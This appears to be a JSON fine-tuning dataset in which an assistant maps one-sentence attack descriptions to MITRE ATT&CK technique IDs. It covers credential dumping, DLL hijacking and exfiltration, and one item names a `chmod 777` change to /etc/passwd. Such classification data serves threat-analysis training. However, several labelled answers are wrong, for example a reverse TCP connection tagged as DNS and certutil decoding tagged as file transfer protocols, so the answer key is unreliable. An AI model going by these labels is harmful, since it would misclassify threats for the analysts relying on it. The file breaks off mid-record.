    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating data, the threat actor executed a wipe of the SSD using the ATA Secure Erase command."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a rule that forwards any email containing the word ‘invoice’ to an external email address for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool exploits a driver vulnerability to cause an unexpected system reboot."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider removed outbound filtering rules from the cloud firewall, enabling exfiltration of data."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exploits the remote DCOM activation mechanism to hijack legitimate services and move laterally."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised credentials are used to log into a corporate Dropbox account, where the attacker copies data into a hidden folder."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker replaces the legitimate client application binary with a malicious version that exfiltrates credentials when users log in."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage the Google Workspace API to list Google Groups and associated members in a compromised G Suite tenant."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies the password hash synchronization process between on‑prem AD and Azure AD, allowing password reuse attacks."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group utilizes native API calls such as NtQuerySystemInformation to enumerate running processes and services."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved editing the domaintrust.xml file directly to insert a new trust relationship with an attacker’s domain."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerability, the attacker gains read access to the system's certificate store and retrieves signing certificates for future abuse."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor issues a query to the Global Catalog (GC) to retrieve a full list of domain accounts across multiple forests."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a man-in-the-middle attack on the RDP handshake, the threat actor hijacks the session and gains unauthorized access to the remote host."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages LNK icon smuggling by creating shortcuts that appear as PDF icons but point to a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a symmetric key to encrypt all outbound communications, establishing an encrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through ARP spoofing, the attacker alters the MAC address mappings in a victim's ARP table to eavesdrop on traffic."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a compromised OAuth token to call Confluence's data export API, retrieving all project specifications at once."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping module harvests saved Outlook password hashes to later access user mailboxes."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group executes a breadth-first network scan across internal IP blocks to map out host relationships and subnet hierarchies."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom script monitors a network share, collects newly created documents, and automatically sends them to a command-and-control server via HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromised a third‑party SaaS platform to act as a pivot point, using its remote access features to reach internal systems."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes editing /etc/audit/auditd.conf to change the log format and reduce forensic usefulness."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages launchd on macOS to schedule a plist that executes a stealthy daemon every minute."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware rewrites the encryption keys of a database to use a static, hard‑coded key."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes a reverse TCP connection to a C2 server using a random high-numbered port, attempting to bypass firewall rules."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider threat exported large amounts of data from the organization's OneDrive for Business by scripting calls to the Microsoft Graph endpoint."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Automated scripts submit large lists of credential pairs to the web application's authentication endpoint, aiming to find valid logins."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script opens a persistent connection to a web service, allowing the server to push commands and pull data from the infected host."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor sets up a secondary corporate email account to forward phishing emails to external collaborators."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain attack modifies a third‑party shared module distributed in an installer, embedding a hidden payload that runs on the target system."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries extract saved domain credentials from the Windows Credential Manager using the cmdkey utility."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service downloads a Python interpreter and executes a script to enumerate Active Directory objects."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries bought a domain and pointed it to a self‑hosted DNS server they provisioned on a compromised cloud instance."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor compromised a certificate authority's issuing portal to request a fraudulent SSL/TLS certificate for a victim domain."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gathering sensitive documents, the implant opens a Bluetooth OBEX push to send the files to a nearby attacker‑controlled device."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining a foothold, the actor checks the 'whoami /all' output to collect detailed user and group information."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised host retrieves command scripts from a hidden GitHub repository using raw file URLs."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a third‑party managed service to host a phishing landing page for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group assembled a botnet client that connects to a peer-to-peer C2 network for command distribution."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerates all visible application windows on the compromised host to collect window titles and associated process IDs."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a cloud region that is not listed in the organization's inventory to stage data staging operations."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromises a CDN to serve a malicious executable that runs automatically when the page loads."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a misconfigured certificate issuance service to issue certificates for domains they do not own."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised third‑party SaaS service to tunnel malicious traffic into the victim’s internal network, bypassing firewall rules."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the compromise, the intruder adds a service that points to a DLL loaded by the Service Control Manager."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a scheduled stored procedure to periodically run a PowerShell script that scrapes credentials from the system registry."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages Windows Management Instrumentation (WMI) to list all computers in the Active Directory forest."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a publicly accessible proxy service to tunnel C2 communications, bypassing internal network defenses."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code modifies the logging configuration file in a Kubernetes cluster to disable audit logging for the namespace they target."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder probes the network for active IP addresses using a ping sweep."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary reviews the target's SSL/TLS certificates to identify weak cipher suites."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes an encrypted TLS tunnel to hide C2 communications from network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a continuous stream of DNS queries to a recursive resolver, the attacker overwhelms the application layer, leading to endpoint denial‑of‑service."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Abusing the Windows Service Control Manager to change a service's binary path to a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers perform a forest trust discovery by querying the 'foresttrust' attribute in AD."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script modifies Linux file permissions with `chmod 777` on /etc/passwd to allow unrestricted access."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script inserts a lengthy delay based on the current date, ensuring that automated sandboxes which run for short durations will not see the malicious behavior."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a stealthy campaign, the attacker injects code into a legitimate process using a manual mapping technique that plants a list of sections without using the OS loader."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module reads the securityd process's heap to gather saved VPN credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors used a Python script to download and execute additional payloads from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infection uses a WMI query to retrieve a command from the attacker and executes it using wmic.exe."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious video file requires the user to install a codec, which when done, executes code that steals credentials."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system runs a scheduled task that calls \"sc.exe create\" to add a new service for persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker deploys a fake Wi‑Fi access point to capture WPA2 pre‑shared keys entered by users."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor encodes PowerShell commands with Base64 and uses the -EncodedCommand flag to hide malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the Windows utility certutil.exe to decode a base64 payload and execute it."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary grants Everyone write rights to the Service Control Manager registry path, facilitating hijacking of the service's execution flow."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a known vulnerability in the OS kernel's scheduler, causing it to enter a deadlock state and halt the system."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script leverages MAPI to read the Outlook inbox and writes each email to a temporary file for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor attempts to login to a system using a sprayed password list, what tactic is being employed here?"
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor dumps the cached domain credentials stored in the LSASS process to acquire privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used double extensions, such as \"report.docx.exe\", to hide the true nature of the executable, a classic Masquerade File Type method."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary drops a malicious DLL into a folder that appears earlier in the search path than the genuine library, causing the victim application to load and execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker abuses the ROMMON console to load unauthorized code, granting persistent control over the hardware."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leveraged the \"tar\" utility in a shell command to compress exfiltrated data before transfer."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
